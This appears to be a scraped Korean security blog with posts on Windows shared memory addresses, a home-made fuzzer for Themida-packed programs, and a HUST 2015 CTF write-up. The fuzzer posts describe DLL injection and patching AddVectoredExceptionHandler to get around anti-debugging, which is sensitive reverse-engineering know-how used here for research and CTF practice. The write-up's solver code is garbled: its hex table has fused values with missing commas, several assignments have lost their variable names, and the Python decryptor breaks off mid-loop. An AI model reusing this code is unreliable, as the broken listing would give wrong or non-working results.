분류 전체보기: 22개의 글

[Windows] Shared Memory

Posted by push0ebp
2015. 7. 23. 22:58 ETC

CTF문제 풀다 알게된 지식.

말그대로 공유 메모리이다.

OS : Windows 7 32bit


DWORD d_sharedM = 0x7ffe0800; // A User Address 유저 레벨 주소

DWORD d_sharedK = 0xffdf0800; // A Kernel Address 커널 레벨 주소



커널 메모리에 접근할수 있도록 커널 드라이버를 로드시켜서 0xFFD0800주소에 라이팅을 해보았다.





분명 0x7FFFFFFF 커널을 넘지않고 유저레벨 주소가 확실한데 메모리가 같다.

신기하게 Physical Address도 같다.




여기도 같다.





여기 까지.


Size : 0x1000

0xFFDF0000 ~ 0xFFDF1000

0x7FFE0000 ~ 0x7FFE1000

가 Shared Memory이다.


+다른 프로세스(모든 프로세스)도 값이 같다.

[Fuzzer] Debugger with VEH for Themida

Posted by push0ebp
2015. 6. 27. 17:43 Project

이전글

[Fuzzer] SeulFuzzer (for Themida)

이 퍼저의 디버거는 pydbg가 아닌 VEH을 이용한 방법을 사용한다.

PVOID WINAPI AddVectoredExceptionHandler( _In_ ULONG                       FirstHandler, _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler );


이 함수는 예외가 발생 할 때 처리해주는 핸들러(ExceptiinHandler)를 등록 한다.

프로그램에서 try except로 예외 처리를 해도 가장 먼저 등록한 핸들러로 넘어가기 때문에 모든 exception

을 컨트롤 할 수 있다.

그리고 웬만한 Anti-Debugging에 탐지 되지 않는다.


그런데 ExceptionHandler에도 우선순위가 있다.

스택구조와 같은데 가장 최근에 등록한 핸들러가 가장 먼저 처리된다.


예를 들면

ExceptionFilter1

ExceptionFilter2

ExceptionFilter3

이렇게 등록했을때


ExceptionFilter3

ExceptionFilter2

ExceptionFilter1

순으로 처리 된다.


그래서 내가 등록한 후에 다른 핸들러가 등록되지 못하도록

xor eax, eax

ret 8 로


이렇게 무력화 시켰다.


보통 C로 디버거를 구현할때 DebugActiveProcess() 등 window api를 여러게 쓰면서 코딩하곤 한데

이 디버거 코드는 이 몇 줄이 끝이다.

dll injection을 이용하면 같은 프로세스 안에 상주하기때문에 정보도 얻기 쉽고 디버거도 짜기쉽다.

그리고 저 핸들러내에서 minidumpwritedump 함수를 사용하여 덤프파일을 쉽게 생성 할 수 있다.


-단점

1. 데이터 공유가 어렵다. (python <> dll)

2. 불필요한 exception까지 잡힌다.

- 인젝션 한 모듈에서 exception이 일어나면 등록한 handler로 넘어간다. 그래서 내 바이너리 .text에서 발생한

exception인지 판별해야한다.

하지만 이 방법은 버그로 인해 저 범위내로 eip가 변조되면 제외되기 때문에 리포팅하지않아 유실되는 문제

가 발생할수있다. 그게 exploitable한 취약점이였다면 더 큰 문제...

(임시방편으로 해둔건데 다른 방법을 생각해봐야겠다....)



저는 이 방식이 편해서 사용한거니 꼭 VEH를 사용할 필요는 없습니다.
Anti-Debugging api hook 하셔도되고 편한 방법을 찾으시길 바랍니다.



'Project' 카테고리의 다른 글

[Django] Shodan 커스터마이징(?)  (0) 2015.11.30
[Fuzzer] SeulFuzzer (for Themida)  (1) 2015.06.27

[Fuzzer] SeulFuzzer (for Themida)

Posted by push0ebp
2015. 6. 27. 16:52 Project

한 프로그램을 퍼징하려는데 



이런.. 나쁜 더미다 ㅠㅠ pydbg도 걸리고 cdb도 걸리고 attach 해도 프로세스가 죽는다.

window debug api 이용한 디버깅은 모두 탐지하는 것 같다.

그래서 살펴봤다.

콜스택을 보니 0056BE63주소에서 호출하고 있어 따라가봤다.


우웩... fucking themida..


이렇게 isDebuggerPresent API 를 손보면 되긴 하지만 난 멍청해서 퍼저를 수정할줄 모른다 ㅠㅠ

주변분들도 자신만의 퍼저를 하나쯤은 만드셨던데.. 그래서 나도 이참에 그냥 하나 만들어봤다ㅋ



처음엔 이름을 UpFuzzer(엎퍼져)로 지었는데 슬픈일이 많아서 '슬퍼져'로 바꿨다. (아! 슬프다!)


바이너리는 총 3(+1)개

py  ------------------- controller(manager)
exe ------------------- executor
dll  ------------------- debugger & handler & crash reporter

+

radamsa ------------- mutator


py  - 전체적인 흐름을 관리하고 컨트롤하는 매니저 역할 

mutate 된 파일을 넣고 실행, timeout시 프로세스를 종료,  crash 발생시 mutated 파일이나 crash 로그 파일을 정리. 등.

exe - 타겟 프로그램을 실행하고 dll inejection 을 수행한다.

dll - Crash가 발생할 경우 크래시 정보나 레지스터등 로그파일을 저장한다. minidumpwritedump api를 통해 덤프파일 생성이 쉽다.



Themida 2.3.2.0로 타겟 프로그램을 패킹했다.


크래시 파일은 이렇게 저장된다.

disasm 라이브러리를 사용하여 이름에 인스트럭션을 넣었다.


???.... exception이 펑펑 터졌다. 보아하니 더미다 코드에서 발생하는 예외다. delay를 주어서 더미다 initialize 가 끝날때 dll 을 인젝션해야한다. (-d 옵션)


펑펑


그럼 이렇게 깔끔하게 나온다 ㅎ


파일은 "파일이름_퍼징 카운트(몇 번째 퍼징인지).확장자" 형식으로 저장했다. 여기서 카운트는 3이다.





CRASH INFO

REGISTERS

INSTRUCTION

STACK DUMP

아직 구현하지 못한게 많다.


call stack이라던가
module list라던가


이런거 라던가

시험끝나면 짜야지..



[시연 영상]



바빠서 포스팅을 늦게했네요. (근데 다음주가 기말고사인데 바쁜게 맞나?)

디버거가 궁금하신 분은 다음 글을 참조해주세요.

[Fuzzer] Debugger with VEH


아직 Fuzzer를 많이 접해보지 못했고 처음이라 많이 서툴고 부족합니다.

지적, 조언 해주시면 감사하겠습니다.




'Project' 카테고리의 다른 글

[Django] Shodan 커스터마이징(?)  (0) 2015.11.30
[Fuzzer] Debugger with VEH for Themida  (1) 2015.06.27

2015 HUST Write up

Posted by push0ebp
2015. 5. 24. 19:12 Hacking/CTF


HUST 2015.pdf


code_snippet


1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
 
char buf[] = "\x0A\x46\x3B\xB0\x1A\x7D\xC1\x5F\xA6\xF0\xC9\x8A\x22\xE0\xF4\xD2\xB7\x96\xEA\x81\x52\xE7\x08\xF5\xBF\xA8\x6A\x9C\x95\x0C\xD9\x97\x7F\xE3\x6A\x2F\x27\xE2\x7C\x41\x06\xDF\xB5\xF3\x4A\xFC\xBF\xD8\x9D\x38\x3C\xAC\x4D\xC0\xCE\x12\xFA\xAE\xBF\x93\xD4\x98\xA0\x50\x26\x3D\x96\x9A\x06\x74\x3E\x82\xE8\xE2\xF2\x81\x6A\x76\x83\x56\x10\xDA\x5D\xBF\xFF\xCE\x48\xC4\xE1\x9D\x26\x12\x81\x72\x9A\x53\x09\xFD\x34\x5C\x03\x4C\x71\x8B\xBB\x19\xBA\x85\x5F\xBF\x26\xF7\xCD\x12\xC5\x19\x6A\xA9\xC9\x6E\x4D\x3C\xFC\x1C\x7F\xA2\x81\xA6\x6A\xEB\x4B\x55\x88\x88\x21\xF5\xB6\xED\x07\xFD\x7A\x1B\x78\x5F\x6F\xDC\x47\xF1\xC3\xAB\x73\x21\xE0\x66\x25\xBA\x24\x87\xCE\x34\xEC\x94\xCC\xE3\x16\xEF\x89\x2A\xA7\x45\xDC\x4F\x8F\xE4\x12\x1C\xB0\xDB\x6E\xFF\xBD\x27\xFF\x83\xF4\x16\x05\x58\x47\x09\x4C\x82\xCF\xC7\xD8\x83\xB4\xD0\x62\x99\x63\xEF\x37\x59\xE7\xAC\xB3\x0C\xDE\x88\x8D\xB6\x58\xE0\xA5\x36\x79\xD1\xBC\x74\x24\x9D\xCA\x96\x23\x08\x86\x6F\x5F\xF7\xEE\xEA\xED\x72\x84\x41\x8F\xC8\xD3\x75\x8D\x1E\x19\xA9\x02\x7A\x4A\x58\xB3\x79\x22\x80\x27\x3C\xAD\xD7\xCC\xC8\x08\xBD\x45\xAA\x2E\xAA\x90\xC6\x09\xA4\xA7\xF5\x54\x3B\xEE\x22\x4D\x07\xC0\x82\xE3\xE4\xCD\xE8\x06\x2A\xA4\xEC\x99\x0D\xD9\xCD\xE9\x44\xEA\xCD\xBD\xF5\xD3\xB0\x78\x45\xC3\xDA\xC5\xD1\x03\x19\x09\x39\xDA\x79\xC6\x43\x12\x52\x24\xF7\x12\x0F\x0A\x28\xC1\x08\xCE\x47\x08\xA1\x1E\x4A\x88\x01\x50\xDE\x89\x51\x94\xDC\x47\xD6\x3D\x0B\xD8\x6E\x3B\x26\x62\xF6\xB7\x3E\x9F\x41\x06\xC5\xE5\x98\x95\xA6\xE6\xF3\x19\x3C\x3E\x0A\x16\x77\x02\x70\xD0\xC6\x5D\x48\x9F\x30\x05\xCA\x8B\x3D\xB1\xAD\x86\xE3\x9F\x87\x17\x4F\xF5\xDA\x44\xBE\x28\x1E\xBA\x01\x58\x07\xB4\x9C\x4D\xF0\xF0\xF1\xC2\xBE\x6F\xFA\x4C\x2C\x86\xD7\x5C\x6C\x59\xD2\xC3\xDE\x70\xC0\x8E\x4D\xDB\x0E\x2C\x44\xC7\x50\x2F\x1D\xA3\x4C\xFF\x15\x92\x7C\x06\x5D\xE5\xC5\x75\x2B\x4C\xED\xCE\x36\x27\x47\xA2\x16\x85\xB0\x40\x7E\x85\x1A\x34\x79\x3B\x57\x70\x76\xE0\x88\x46\x96\xBB\x2B\xC4\x09\x01\xB8\xC9\x3F\x0E\xA5\x9E\x96\x50\xE1\x67\xD9\xA7\x02\x15\x80\xC5\x57\x32\x34\xCA\x5A\x55\x41\x39\x5D\x8D\xD4\xA2\x32\x8B\x4F\xB8\x03\x95\xD3\xCA\xAE\x5C\xB9\x37\x2D\x7A\x75\xCC\xFE\x5F\xA5\xF7\x82\x69\x2A\xC0\x1B\x66\xCD\x53\x6E\x23\x88\x48\xC3\x53\x17\x0E\x50\xEF\xF0\x97\xC0\xAB\x11\x96\xC0\x62\x12\xF9\x50\x0F\x75\xA0\xB4\x59\x34\x4B\x60\x9F\xA3\x5C\x14\x3E\x11\xA3\x7C\x5A\x4A\xCB\xB4\x66\xFF\x50\x33\xC5\x22\x2C\xBE\xAD\xC2\xBB\xAF\x03\x82\x41\x09\xD4\x39\xBD\x75\xD2\x90\x4D\xC1\x7B\xE7\x26\x7C\x68\x3B\xB8\xAB\x06\xD7\xAA\xD3\x8A\xD4\xAD\x5C\xD4\xFB\x54\x5E\x8B\x01\xFD\xE1\x68\xC3\xAD\x8E\xBC\x36\xA4\x83\x64\x79\xB6\xD9\xDA\x76\x4B\xC9\x69\xF1\xF2\x27\x1E\xFD\x99\x7E\xD7\x02\x34\x74\x5A\x4A\xA1\x2C\x37\x0E\xE6\xC8\xF8\x2B\xA5\x8D\xB1\x11\x25\x61\x68\x09\x31\xF1\x59\xC2\x1E\xCC\x38\xA8\xC9\xE0\xFC\x39\xB0\xC2\x97\xDB\x82\xA7\xD9\x1D\x27\x73\x9E\xDA\xDE\xC2\x67\xCD\xF4\x3A\x14\xA4\x59\x7A\x88\xBE\xCE\x07\x4E\xB4\xF8\x6F\x4A\x84\x97\x78\x59\x14\x98\xDC\x86\x26\xA9\xFC\x23\x02\x81\xEE\xD6\x04\x83\x23\x9B\x72\x4B\xAA\x13\xE8\xF5\xB1\xB2\xA9\x35\xAC\xD9\x20\xD2\x43\x68\x72\xBB\x03\x9E\x2B\x4B\xA8\x4B\x3E\xAC\xC2\xEC\x72\x9B\x3A\x1A\x41\x96\xD0\x0F\x62\x69\xA8\x4A\x13\xE6\x29\x79\x80\xF7\xB9\xB1\xAF\xB8\x74\xD3\xC9\x5A\x3F\x25\x70\x92\x79\xE3\x0F\x71\xB9\xA1\x40\xEC\x0F\x73\x59\xE1\xE9\x98\xD7\xEB\xAD\x17\xAD\x0D\x62\x12\xEB\x4F\x0E\xDB\xD6\x29\x91\x07\x78\xF7\x72\x87\x6C\x18\x3F\xF5\x8C\xB5\x92\xE0\x2A\x77\xFD\x60\x68\xE6\x5A\x91\x24\x85\xBE\xB8\x13\x35\x4A\xB8\x29\x27\x9C\xBF\xAF\xDA\x0A\x33\xCA\xC9\x01\x8A\xA1\xE5\xEB\x58\x09\x54\xE2\x0E\x07\xB0\xC7\xFC\x37\x5C\x32\xC3\x78\x1D\xEC\xF2\x8E\x8D\xF7\x43\x9F\xFF\x0F\x13\x3A\xEA\xAA\x0D\x1E\x95\x8B\xE4\x29\xF3\x1D\xA9\xBD\x94\x4D\x2A\xA2\xB5\x2D\xEB\x0A\x21\x49\x6E\xAB\xBA\x32\x27\x7C\x65\x13\x14\xCB\xEA\x79\x8A\x18\x15\x21\xCA\x11\x94\x7F\x47\xA5\x9B\x3C\x0D\x33\x5E\x83\xF5\x44\x70\xBF\x7D\x3D\xAC\xC9\x82\x27\x20\xD7\xF7\xFD\xD6\x5C\xB4\x63\xAA\x23\x05\x73\x8A\xC3\x86\xFE\xE7\xAD\xE9\xA0\x75\x77\xFA\x16\xE0\x24\x31\x12\xC5\xFB\x0D\x1D\x3B\xC6\x65\xC2\x19\x64\x24\xFB\xB3\x5D\x69\x48\xBE\x78\x7A\x75\x7E\x35\x78\xA6\xDA\x3B\x49\x90\xC8\xFC\x30\xBD\xBF\x2D\x90\x49\x7C\x7B\xFA\xD7\x6F\x7C\x8A\x73\xA9\x22\x00\xE6\xFC\x56\x02\x7C\xE8\x1A\xE4\x69\x77\x60\x80\x78\xA5\xED\xCE\x94\x4F\x17\x7F\xFF\x05\x61\x0B\xDE\x10\xB4\x60\xB5\x35\x14\xDE\x29\xEC\x41\xE1\xB3\xA1\x4C\x96\xED\x56\x8A\xD7\x36\x88\x3B\x24\x39\xE7\x69\x1B\xAF\x7F\xE6\x2D\x0A\x10\x6F\xEF\xB2\x04\xD8\x11\xC9\xCF\x9C\xBC\x92\x9B\x54\x0E\x8E\x63\x94\x52\xCC\xE4\x1F\x04\xC7\xCF\xDD\x63\xB7\xCF\xB5\x60\xEC\xB9\x89\x84\x47\x7D\xF9\xBE\xE8\xF6\x20\x89\xD3\x0C\xA1\x25\x70\xC9\x42\xDD\x9F\x04\xA0\x4B\xB1\xCE\xFB\xF7\xD7\x48\xF5\x9C\x8B\x92\x0F\xCC\x51\x89\xCA\x8A\x4C\xD9\x0E\x72\x7C\x36\x3B\xA0\x77\x3B\xC4\x8B\x94\x91\x17\x6C\x77\x83\xF2\x58\x90\x1A\x51\xB4\xF4\x6A\xAE\x7E\xFB\xAB\xC5\x54\x21\x37\x72\x73\x56\x06\x41\x00\xBF\x92\x96\x76\xC1\x7D\x60\x0D\x62\x98\x86\xFA\x31\xB3\x1C\xFE\x0B\xCB\x3C\xB4\x9C\xEE\x82\x7D\xF5\xC3\x25\xA5\x64\xFA\xEC\xAF\xF4\x4F\x66\xF8\x77\x6D\xAF\x92\xCF\x0D\xD1\x2E\x30\x60\x00\x99\x57\x54\x4A\x79\x0A\x88\x23\xFB\xAF\xA5\xEB\x01\x75\x40\x0F\x9C\xA3\xE2\x05\x58\x49\x19\xBF\xB2\x58\x65\x24\x76\x42\x7E\xEA\x3C\x54\xBE\xD6\x6F\x96\x1D\xF5\x36\xBE\xC1\x2B\x37\xF7\x31\xF1\xF1\x73\x9F\x22\xDB\x2D\x0D\x5F\xF8\xB4\xBD\x11\x44\x42\x04\x90\x74\x09\x67\x30\xAC\x47\xD4\x79\xC2\x32\x56\xC4\xB7\x37\x41\xBC\xB2\x2C\x09\xBB\xEF\xAA\xB9\xD8\xB2\xDA\x3B\x5B\xB8\x9B\x05\x06\xDA\xF1\xDA\xD3\x59\x6E\x77\x76\x47\x3A\xC9\xEE\x09\xD2\x2C\xFA\x38\x16\x05\x3C\x03\x95\xE6\x98\x8B\x4B\x5A\x9A\xC9\xBA\x3D\x56\x9F\x25\x61\xF8\x0C\x26\x32\xED\xC8\x47\x43\x66\xC4\x59\x50\x74\x5E\xB1\xB2\x5C\xB7\xCC\x26\x83\x80\x74\x25\x25\x68\x2E\x2F\xCD\xB3\xBD\x79\xC5\x29\x6B\x70\x9E\x22\x32\xDD\xCE\x28\x0F\xB6\x49\x47\x12\x69\x8D\xC8\x67\x46\x09\xD9\xEC\x43\x9C\xF8\x15\xAA\xD6\x27\xE8\x71\xC4\x07\x38\x18\xB0\x37\xC0\xB4\x28\x89\xF1\x09\x73\x1A\xB0\x1C\x1B\xA8\xD0\x45\x33\x35\x5A\x0A\xC9\x54\x01\x58\x8A\x2F\xF8\x74\x28\x27\xCF\xB8\x95\x42\x1C\xBA\x80\x76\xB0\x89\xFB\x96\x44\x3F\xC7\x34\x11\x9B\xD8\x66\x95\xCC\x84\xDA\xD7\x11\xBE\xCD\xC4\x69\x2D\xB4\x61\xAC\xF2\xD2\x08\x42\x4C\xC1\xF4\x52\x11\xC7\xA3\xFE\x6B\xF1\x04\x72\xDD\xAB\x8A\x77\x8D\x32\x19\xE5\x6C\xC2\xC6\xC4\x3B\xC1\x02\x8C\x39\x67\x98\xF8\x0B\x9D\x3C\xB0\x32\x40\x56\x9E\xF4\x6B\x18\x8D\xDD\x39\x3F\x72\xB6\x00\x89\xA9\x1E\xFB\x15\x4F\x3D\xA5\xC9\x9E\xDF\x2F\xEF\x14\xCA\xDF\x31\x05\x02\x34\x7E\x46\x07\xF4\x54\xAD\x76\x75\x0D\xB6\xFE\xB5\x42\x90\x2D\x10\xAD\x8F\x6A\x9D\x91\x56\x2F\x19\xBE\x8D\x38\xE8\xBE\x32\x5D\x7F\x4F\x1B\x03\xDC\xFE\x42\x42\x16\xC5\x57\x5B\x99\x5A\xF8\xEC\x80\x44\xB4\xAC\x35\x3D\xC9\x81\x04\x98\xDC\xB5\x7C\x82\xCD\xDC\x73\x45\xCB\xF8\x02\xDF\x0B\x9B\xAF\x56\x5F\x8D\xCC\x72\xA4\x65\x05\x28\x4B\x58\x63\xBE\x9F\x81\xFC\x8F\x9F\xA2\x78\x38\x25\x46\xD3\x02\xAE\x6A\x7E\x70\xC5\x0F\xB1\x67\xB5\x6A\xD7\xDE\x3B\xFA\xF2\xB6\xC9\x08\xD0\x29\x8B\xB3\xA6\xC3\x3E\xF5\xB7\x16\xCC\x58\xA3\x9F\x94\xBD\x0E\x86\xFE\x0A\xC8\x72\x14\xB2\x2A\x67\x4E\x65\x16\x56\x6B\x62\x91\x42\x1D\x74\x1F\x47\xC9\xE7\x4B\xE3\x80\xDC\x74\x1F\xF7\xBF\xAB\xE3\x1B\xFE\xEA\x2C\x1C\x09\x10\x37\xDC\x8A\xDB\x5D\xBF\x01\x73\x50\x44\x1F\x91\x3E\xB7\x27\xA6\xBA\x52\x90\x7E\x1C\x7A\xA1\xB6\xEF\xBB\xA1\x09\x19\x25\x49\x11\xFE\x30\xD9\x3C\x7D\x8E\x0F\xCC\x82\x09\x9B\xA6\x9E\xF0\xE1\xDB\xB2\x7F\xF8\x62\x17\x06\x77\x4D\x4C\x4A\xF7\x5D\x9B\xDD\x59\x72\x3C\xAB\xEF\xE0\x71\x79\x8E\x1C\x39\xBA\x1C\x31\xB3\xF0\xFA\x8F\x8B\x0D\x81\x34\x6B\x0D\x28\xB0\x8C\x64\xF1\x99\xEE\x6A\x2A\x83\x93\xE2\xC1\x1E\x98\x00\x80\x49\xA6\x76\xD6\x70\x29\xAA\x05\xE8\x31\x10\xAA\x16\x85\xB4\xA2\x9A\x9E\xC5\x4C\x64\x82\xF6\xE1\x21\xE1\x41\x27\x74\x8D\xF3\xE4\x63\x35\x20\x3B\x6F\x08\xF8\x3F\x82\x86\x97\xCE\x27\xCD\xB8\x24\x42\xD8\x97\x1F\xE8\xAC\x4D\x80\xB7\xA0\xE6\x0F\x62\xC5\x98\x11\xA1\xAD\xAC\xFF\xF0\x8A\x56\xB5\xB2\x87\x6F\x14\x55\x17\x8F\xE2\xEF\xDD\x3E\xF9\x3A\xA8\x36\xAC\xE9\x43\x1B\x2F\xF8\x56\x80\x04\xA7\x1E\xB4\x57\xB1\x3D\x66\x2E\xBD\x86\xED\xEE\x2C\x53\x0B\x55\xA4\x02\xB8\x0A\x91\x1A\xF6\xF6\x0D\xBB\xEA\x65\xE0\x04\xF1\xD3\x52\x66\xAE\xB9\xA1\x3C\x9F\xA2\x5B\xC1\x8A\xA2\xBC\xFF\xC5\x3B\x65\x9F\x14\xE6\xE6\x32\x07\x94\x98\x77\x21\xD1\xC1\x51\x2E\x2E\x93\x8C\xE5\x58\x1D\xB5\xE5\x23\x98\xF5\x3B\xC2\x07\x2C\x08\xC0\x7C\xB4\x15\xCB\xE7\x13\x9C\xFB\x3D\xF1\x2B\x7D\x5A\x64\x2F\x6D\xA9\xFA\x50\xE0\x80\x01\x59\xF9\x85\x98\x93\xB4\x62\x01\x41\x3E\x1D\x9B\x89\x92\xE5\x29\xEF\xE7\xE3\xFA\x5D\x55\xB3\x2E\x4F\x79\xE3\x21\xC8\x09\xDD\x8E\x88\xE6\x57\xEA\x0E\x1B\x43\x74\x8E\x88\x63\xAD\x92\xAA\xCE\x71\x67\xAB\x2B\x1F\x8D\x41\x86\x45\xE7\x6D\xEF\xE2\x61\xF8\x9E\x43\x15\x01\x5F\x37\x10\xD4\xB2\x81\xE2\x68\x0D\x45\x1C\x16\x8C\xB3\xF4\xE7\x13\x98\x85\xD2\x78\x7C\xA7\x76\xDE\x19\x70\xA2\x53\x67\x64\x90\x9C\x27\x66\x92\x75\xB8\xDD\x1C\x05\xC6\x18\x69\x1A\xA6\x9C\x02\x99\x80\xBA\xD3\x9C\xD8\xBC\xF1\x32\x02\x30\x69\x4C\x32\x37\x90\x09\xA2\x27\xCC\x67\x22\xDC\x7A\xAC\x1F\x03\x14\x0A\xDE\x1A\x30\xD9\x05\x85\x03\xE0\x58\xD6\x09\x9F\x1C\xD2\xFD\x31\xA9\x33\xD7\xCA\x15\x3F\xCA\xDE\x59\x86\xD0\x9E\xB8\xD6\x04\x31\xAD\x61\x15\xEB\x22\x7D\x9B\xA8\x52\xD1\x8F\x3F\x0E\xE0\x45\x17\x94\xFE\xC0\xF3\x3B\xF4\x7F\xC1\x9A\x8F\x85\xAA\xAF\xDA\xCE\xED\x47\x84\xE0\x00\x9A\x19\x81\x9D\x30\x58\xC3\xE9\x4D\x69\xAD\x5D\x44\x23\xD7\x96\x3F\x60\x6C\x67\xBA\xBA\x2B\x14\x54\x87\xA3\xF8\x69\x08\xAB\x56\x73\xFF\x2B\xEF\x4A\xCA\x23\xB9\x84\x54\x45\x5D\xAA\x85\x6C\xD1\xB9\x30\x23\x13\x7C\xE8\xBB\xD4\x8E\x95\x3D\xC0\x31\x39\x16\x67\xCE\x1F\xD8\xA4\xE1\x46\x98\x30\xF0\x51\x67\xC7\xDF\x4D\x4D\x66\x20\xDF\xED\xE5\x10\x99\xB1\x13\x18\xBD\x76\x6F\xD2\xB8\x43\xD9\x40\x82\x3F\x5C\xE1\xCA\x0D\x05\x54\x31\x33\x3A\xF2\x19\x32\x83\x83\x43\x55\x10\xC2\x54\x43\x02\x3D\x23\x50\xBD\xFF\xFE\x23\x24\x1D\xE2\xC5\x4F\xED\x01\x14\xDA\x4E\x0F\x8A\xB0\x69\x10\x09\x7A\xF3\xC9\xA8\x8B\xAB\x4E\x76\x66\x5E\x67\xC3\x35\xB4\x98\x1A\x51\x63\x00\xF7\xED\x30\x76\x48\x6B\x22\x69\xA9\x6D\xB1\xCC\xC2\x6E\x98\x92\xDC\x9E\x32\xE2\xC2\x42\x08\x2A\xDE\x31\x9F\x00\x23\xF4\x7E\x75\xE4\xBA\x3A\x86\x3B\xE8\x33\x29\x9C\xF0\x94\x62\xF1\xE3\xA8\x35\xFC\x0C\x9F\x98\x1A\x88\x02\x08\x11\xE4\xC4\xF0\x7A\x8B\x6A\xDC\xAD\x1B\x41\x5E\x77\x4A\xD6\x72\x29\x33\x52\x38\xAE\xC6\x63\x98\xC4\x07\x7E\x65\x29\xCC\xED\xBD\x04\x28\xBE\xA0\x72\x45\x8D\x15\x15\x8F\x48\x9B\x46\xEC\x66\x33\x2C\xE1\xA5\xB0\xD6\xD0\x15\xD9\xCA\x2F\xCF\xC7\x76\x0F\xD8\x00\xBE\xAA\xCA\x88\xAE\x13\xF6\x43\xAB\xCD\x0A\x2C\xD2\xCD\x7E\x2A\x85\x4C\x32\x76\xD9\x2C\xE0\x6E\x0E\xC3\xE4\x28\xCD\xA4\x65\xAE\x20\x30\x22\x04\xFA\x99\x75\xA3\x05\x53\x6B\x13\x79\xDD\x3E\x80\x6F\xE1\xB4\x5C\x05\x49\x26\x46\xAA\x8B\xCF\x8E\x54\x11\x1D\x12\x57\x8B\x04\x75\xED\xF9\xC3\x31\xD3\x75\x73\x98\x73\xDA\x6A\xB1\xF4\x15\xCB\x86\xA9\x84\xF8\xBC\x3F\xC5\xDC\xBA\xA6\xAC\x10\x92\x1B\xC5\x40\xA1\x26\x73\x6B\xF1\x46\x08\x41\x2B\xAF\xA4\xEB\x10\x43\xDC\x3E\x4E\xF6\xEF\x8E\x7E\x78\x08\xE8\x8C\xBB\x3A\xB0\x75\x16\x4A\x66\x80\xF8\xE8\x5F\xC0\xF5\x64\xDE\x7C\xCA\xF9\x9F\xE5\x8C\x65\x97\x00\x10\x60\x91\x3C\x2A\xAE\xD6\xC3\x0B\x10\x67\x4D\x22\xFB\x7E\x70\x4E\xF9\xC2\xA4\xAF\x59\xC8\x20\x22\xAF\xC1\x21\x80\x80\x72\x06\x9A\x88\xAC\x1C\x1C\xC0\x64\x8F\xEE\x86\x2A\x58\x7C\x8D\xDF\xF0\x0A\xBC\xE3\x5A\x75\x03\xBF\xB9\x05\x01\xC3\x54\x74\x44\xF9\x16\x4F\x53\x8F\x44\x49\x06\x7B\x17\xB2\x7B\xA4\x2F\x9C\x61\x36\xBA\x5F\x7E\x7E\xD7\x62\xAF\x4F\xB8\x36\x39\x4C\x0B\x57\xAE\x39\xF8\xBE\x16\xC7\x74\x63\x88\x32\xA2\x27\x73\xA6\xAC\x38\x0D\x88\xAC\x40\x0A\xDF\xA3\xC2\x0F\x36\xED\x03\x64\x65\x66\x16\xD0\x47\xA0\xA7\xB6\x43\x20\xD7\x86\x8E\x53\x8C\x9F\x6A\x69\x0B\x06\xF1\xCD\x32\x61\x79\xEC\xE9\x00\x5F\x30\xEE\x98\x6F\x95\xB3\xCB\x07\x08\x99\x38\x7C\xFD\xC0\x87\xC5\xED\xF1\x35\x0F\x46\x5F\x61\x21\x2C\x06\x5B\xE9\x7A\x83\x9D\x8F\xB9\xC5\x72\xB1\x36\x19\x3A\xB8\xD1\xD7\x7C\x8F\x3E\x67\x21\xCC\x64\x11\x3B\x42\xBC\x45\x55\x40\x7F\xCC\x66\xD8\x08\xEE\xDD\xF8\xF5\xEB\xB7\xF1\x43\x5E\xF5\x65\xB5\x5D\xCC\xD1\x47\x9D\x1B\xCD\xA4\x49\x63\xC6\x92\x6D\xEB\x8F\x45\xB5\xF0\x6A\x0A\xBA\x3D\x3F\xF9\x4F\x88\x69\x3A\x17\xE6\x21\x1D\x6A\xAC\x1F\x5D\xA5\x27\xED\x01\xA3\x66\x63\x9A\xAD\xB8\x4A\x3B\x17\x0E\xD4\xA7\x71\xEE\xD1\xC9\x32\xE6\x95\x4B\x6E\x71\x4A\xB8\x21\x11\x76\x83\xA5\x38";
 
void main()
{
    srand(0x666);
    for (int i = 0; i < sizeof(buf); i++)
        buf[i] ^= rand() % 255;
    printf("%s", buf);
}
cs


ShowMeTheMoney

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct
def rol(data, shift, size=8):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
#decrypt 1
table = [0x00x10x47270x25a30x619e0x146d0x4acc0x21120x11f00x8450x47240x2ebd0x3ce40x589c0x3eba0x46510x13b60x8d0x33420x62000x68770x47e20x507b0x175a0x6cf00x44ca0x43a00x24ca0x403a0x470b0x480a0x3df30x303d0x148f0x89e0x5fa30x9ca0x28220x33450x46aa0x378b0x212c0x4aac0x59b0x2c590x3da90x32830x5aca0xc3e0x4c290x9dd0x13770x41de0x1dcf0x38110x4c930x44f20x41c0x58180xf830x38ce0x27170x4690x3f1d0x55330x25aa0x42f80x3fde0x69220x3d380x49ab0x3f680x51480x39990x303a0x6a1e0x2f10x13120xfc30x28510x4c0d0x66870x28190x3ec10x61370x10130x668b0xc570x2d6c0xc430x1a730x1d820x4e950x4b530x5a30xd4c0x2b1a0x44040x6cc80x1c230x1320x3de0x51e30x8c70x65a50x236e0x16a20x1f050x1b360x16400x326b0x2cec0x66260x69620x3ad30x38860x26770x6ac20x5320x24840x246b0x5a3d0x6ae80x3b110x1df00x329b0x3a8f0x30270x4d8d0x220b0x161a0x3f300x8ba0x8c0x15eb0x2c040x69d60x30d0x1b5b0x3e570x605a0x20db0x6bac0x69040x5a780x31fb0x32630x4e580x5c0c0x1d990x51650x5d320x2bad0x407b0x37670x54930x2ab30x3ebc0x57d10x26a40x63420x51060xcbb0xe020x44c50x665a0xb880x58110x45740x413f0x6f70x31230x4d090x55260x3b790x66ea0x5330x58d50x44680x2f170x4c520x2b9e0x33850x13c80x34250xe430x53340x5b1c0xad90x37870x57ba0x37500x27350x3d370x15330x336c0x1e1c0x45be0x51a10x50770x489b0x315c0x35790x11fa0x67d90x4bf20x30440x57020xe8b0x6c740x4f540x3f70x429c0xe520x31640xa790x47d50x1ac70x21470x5e90x17360x2eb50x28580x3de60x328d0x50c0x21300x355d0x1f4c0x38c80x5a9c0x85a0x44390x1d190x4a3b0x598f0xbc10x33690x20420x1bc60xfe30x180a0x6b2c0x4bd0x18360x28bc0x24a60x2f8d0x39760x7ac0x17cd0x4d420x27a40x371a0x3dfb0xe7]
 
= ''
= open('rev_77ca4701/HelpMe.encrypted','rb').read()
for i in range(0,len(s),4):
    o += chr(table.index(struct.unpack('<l',s[i:i+4])[0]))
 
#decrypt 2
= o
= '' 
for c in s:
    b = rol(ord(c),2) ^ 0x21
